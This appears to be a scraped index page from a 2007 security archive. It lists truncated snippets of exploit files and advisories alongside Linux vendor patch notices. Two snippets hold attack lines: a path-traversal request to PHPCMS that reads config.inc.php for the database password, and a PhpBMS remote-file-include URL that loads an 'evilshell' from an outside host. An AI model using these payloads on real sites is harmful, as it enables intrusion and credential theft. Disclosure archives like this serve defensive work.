PHPCMS 2007 show_pic.inc.php本地包含漏洞

PHPCMS 网站管理系统是一个基于PHP+MYSQL的全站生成html的建站系统，经过完善设计并适用于各种服务器环境如UNIX、LINUX、WINDOWS等的高效、全新、快速、优秀的网站解决方案 showpic.inc.php 是否配置了src变量，如果有的话就把路径值赋给file。 这里src的类型没有判断。跳到根目录提交配置文件就可以读取数据库的连接密码了。 PHPCMS2007 官方暂时没有解决方案 http://www.phpcms.cn/ POST /picture/showpic.php?src=/../../../config.inc.php...

phpbms-rfi.txt

PhpBMS 0.92 Remote File Include Exploit ------------------------------| Release date :2007-11-13 13:04| ------------------------------| -------| Exploit| -------| -------------------------------------------------------------------- http://site.net/cron.php?schedulerecord=http://host.com/evilshell...

Fixed XSS vulnerability at www.lospicchiodaglio.it

Security researcher kript0, has submitted on 26/11/2007 a cross-site-scripting XSS vulnerability affecting www.lospicchiodaglio.it, which at the time of submission ranked 358161 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 29/11/2007. It is...

lizard-rfi.txt

Lizardware CMS Remote File Inclusion ---------| Download:| ---------|---------------------------------------------------------| http://sourceforge.net/project/platformdownload.php?groupid=183519| -------------------------------------------------------------------| -----------------------| Launche...

openSUSE 10 Security Update : cacti (cacti-4722)

This update fixes a SQL injection bug. CVE-2007-6035 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update cacti-4722. The text description of this plugin is C SUSE LLC...

[ GLSA 200711-33 ] nss_ldap: Information disclosure

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200711-33 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - -...

openSUSE 10 Security Update : ruby (ruby-4703)

This update of ruby improves the SSL certificate verification process. CVE-2007-5162, CVE-2007-5770 Prior to this update it was possible to intercept SSL traffic with a man-in-the-middle attack. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this...

Fedora 7 : cacti-0.8.7a-1.fc7 (2007-3683)

Tue Nov 20 2007 Mike McGrath - 0.8.7a-1 - Upstream released new version - Fixes for bug 391691 - CVE-2007-6035 - Sat Oct 13 2007 Mike McGrath - 0.8.7-2 - Upstream released new version - No longer need to patch for /etc/cacti/ - Fri Sep 14 2007 Mike McGrath - 0.8.6j-8 - Fix for CVE-2007-3112...

SSA-2007-325-01a libpng for Slackware 10.1 and 10.2

New libpng packages are available for Slackware 10.1 and 10.2 that were left out of the last batch of updates. These fix the same security problems as the other 1.2.23 upgrades. More details about these issues may be found in the Common Vulnerabilities and Exposures CVE database:...

Fedora 7 : zaptel-1.4.6-1.fc7 (2007-3094)

Update to 1.4.6. Apply patch to fix CVE-2007-5690 / AST-2007-024. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing...

Fedora 8 : zaptel-1.4.6-1.fc8 (2007-2860)

Update to 1.4.6 Apply patch to fix CVE-2007-5690 / AST-2007-024. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing addition...

Debian DSA-1409-3 : samba - several vulnerabilities

This update fixes all currently known regressions introduced with the previous two revisions of DSA-1409. The original text is reproduced below : Several local/remote vulnerabilities have been discovered in samba, a LanManager-like file and printer server for Unix. The Common Vulnerabilities and...

Fedora Core 6 : samba-3.0.24-8.fc6 (2007-751)

Thu Nov 15 2007 Simo Sorce 3.0.24-8.fc6 - Fix CVE-2007-4572 - Fix CVE-2007-5398 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without...

openSUSE 10 Security Update : libpng (libpng-4628)

Speciall crafted png files could crash applications when attempting to open such a file CVE-2007-5269. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update libpng-4628. The text description of this...

Debian DSA-1411-1 : libopenssl-ruby - programming error

Several vulnerabilities have been discovered in Ruby, an object-oriented scripting language. The Common Vulnerabilities and Exposures project identifies the following problems : - CVE-2007-5162 It was discovered that the Ruby HTTPS module performs insufficient validation of SSL certificates, whic...

Fedora 7 : net-snmp-5.4-16.fc7 (2007-3019)

Fri Oct 19 2007 Jan Safranek 5.4-16 - License: field fixed to 'BSD and CMU' - fix hrSWInst 250237 - fix leak in UDP transport 247771 - fix remote DoS attack CVE-2007-5846 - Mon Oct 8 2007 Jan Safranek 5.4-15 - License: field changed to MIT - fix segfault on parsing smuxpeer without password...

Fedora Core 6 : tetex-3.0-36.fc6 (2007-750)

fix dvips -z buffer overflow with long href 368591 - fix insecure usage of temporary file in dviljk 368611, 368641 - update License and BuildRoot tags - fix t1lib flaw CVE-2007-4033 352271 - fix CVE-2007-4352 CVE-2007-5392 CVE-2007-5393, various xpdf flaws 345121 - xdvi won't segfault if DVI file...

wirelessg-multi.txt

http://www.gnucitizen.org/blog/persistent-xss-and-csrf-on-wireless-g-adsl-gateway-with-speedbooster-wag54gs The following vulns were found on 24 June 2007 and were tested against firmware V1.00.06. The specific persistent XSS holes mentioned in this advisory were fixed by Cisco on firmware versio...

Fedora 7 : tetex-3.0-40.3.fc7 (2007-3390)

fix t1lib flaw CVE-2007-4033 352271 - fix CVE-2007-4352 CVE-2007-5392 CVE-2007-5393, various xpdf flaws 345121 - xdvi won't segfault if DVI file contains character which is not present in font 243630 - fix dvips -z buffer overflow with long href CVE-2007-5935 368591 - fix insecure usage of...

openSUSE 10 Security Update : openldap2 (openldap2-4677)

This update fixes multiple flaws that could cause slapd to crash CVE-2007-5707, CVE-2007-5708. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update openldap2-4677. The text description of this plug...